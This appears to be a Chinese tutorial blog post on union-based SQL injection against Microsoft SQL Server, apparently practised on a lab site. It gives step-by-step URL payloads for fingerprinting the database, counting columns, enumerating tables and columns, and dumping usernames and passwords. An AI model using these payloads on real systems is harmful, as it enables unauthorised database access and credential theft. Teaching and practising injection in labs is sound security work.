Mssql-联合注入

admin 2025年4月8日15:45:42评论6 views字数 2846阅读9分29秒阅读模式

本公众号提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;

本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。

一、基本判断数据库类型

  • Mssql数据库默认的表判断是否为Mssql
    • sysobjects
      是Mssql数据库中默认的一个数据表
    • 如果页面返回正常说明该网站使用的是Mssql
?id=1' andexists(select * from sysobjects) --+
Mssql-联合注入
  • 通过Mssql数据库中特有的延时函数进行判断
?id=1';WAITFOR DELAY '00:00:10'; --+
Mssql-联合注入

二、判断字段数

  • order by 3
    返回正常,order by 4返回异常说明字段长度是3
?id=1' order by 3--+?id=1' order by 4--+
Mssql-联合注入
Mssql-联合注入

三、判断回显位

  • 通过页面的反馈,发现回显位是2和3这两个位置
?id=-2' union select 1,2,3--+
Mssql-联合注入

四、查询相关信息

查询当前数据库版本

?id=-2' union select 1,@@version,3--+
Mssql-联合注入

查询数据库名

?id=-2' union select 1,db_name(),3--+
Mssql-联合注入

查询用户名信息

//当前会话中执行查询的用户名?id=-2' union select 1,user,3--+//当前会话中,当前执行环境下的用户名?id=-2' union select 1,current_user,3--+
Mssql-联合注入
Mssql-联合注入
//当前登录到数据库的用户的登录名?id=-2' union select 1,system_user,3--+
Mssql-联合注入

查询表名

//查询当前数据库中所有表名,并提取第1条记录?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U'),3--+/*通过sysobjects系统表筛选出用户表,并使用top 1提取第1条记录sysobjects是SQL Server中的一个系统表,用于存储当前数据库中所有对象的元数据'U':所有用户表名'S':所有系统表名'V':所有视图表名*/
Mssql-联合注入
//查询当前数据库中所有表名,并提取第2条记录?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails'),3--+//通过name !=来排除已经查出的表名,查询下一个表
Mssql-联合注入
//查询当前数据库中所有表名,并提取第3条记录?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails' and name !='uagents'),3--+
Mssql-联合注入
//查询当前数据库中所有表名,并提取第4条记录?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails' and name !='uagents' and name !='referers'),3--+
Mssql-联合注入

查询列名(字段名)

//从uers表中提取第一列的名称?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')),3--+/*外部查询:select top 1 name from syscolumns从系统表syscolumns中提取列名,并只返回第一条记录top 1表示只返回结果集中的第一个记录子查询:select id from sysobjects where name = 'users'从系统表sysobjects中查找users表的对象ID。id用于在sysobjects表中标识数据库对象(唯一值)条件:where id = (...)将syscolumns表中的id字段与子查询返回的对象ID进行匹配,从而筛选出属于users表的所有列sysobjects:SQL Server中的一个系统表,存储了当前数据库中所有对象(如表、视图、存储过程等)的元数据。在这里,sysobjects的作用是通过表名users获取其对象IDsyscolumns:也是SQL Server中的一个系统表,存储了数据库中所有表和视图的列信息它的关键字段包括:id:表示所属对象的 ID(与 sysobjects 表中的 id 对应)name:列的名称。colid:列的顺序编号(从 1 开始)。在这里,syscolumns的作用是根据表users的对象ID提取其所有列的名称*/
Mssql-联合注入
?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')and name !='id'),3--+//通过name !=来排除已经查出的字段名,查询下一个字段
Mssql-联合注入
?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')and name !='id' and name !='username'),3--+
Mssql-联合注入

查询表中的数据

//查询username和password这两列的第一段数据?id=-2' union select 1,(select top 1 username from users),(select top 1 password from users)--+
Mssql-联合注入
?id=-2' union select 1,(select top 1 username from users where username !='Dumb'),(select top 1 password from users where password !='Dumb')--+//通过name !=来排除已经查出的数据,查询下一段数据
Mssql-联合注入
?id=-2' union select 1,(select top 1 username from users where username !='Dumb' and username !='Angelina'),(select top 1 password from users where password !='Dumb' and password !='I-kill-you ')--+
Mssql-联合注入

原文始发于微信公众号(SecurePulse):Mssql-联合注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日15:45:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mssql-联合注入https://cn-sec.com/archives/3930060.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息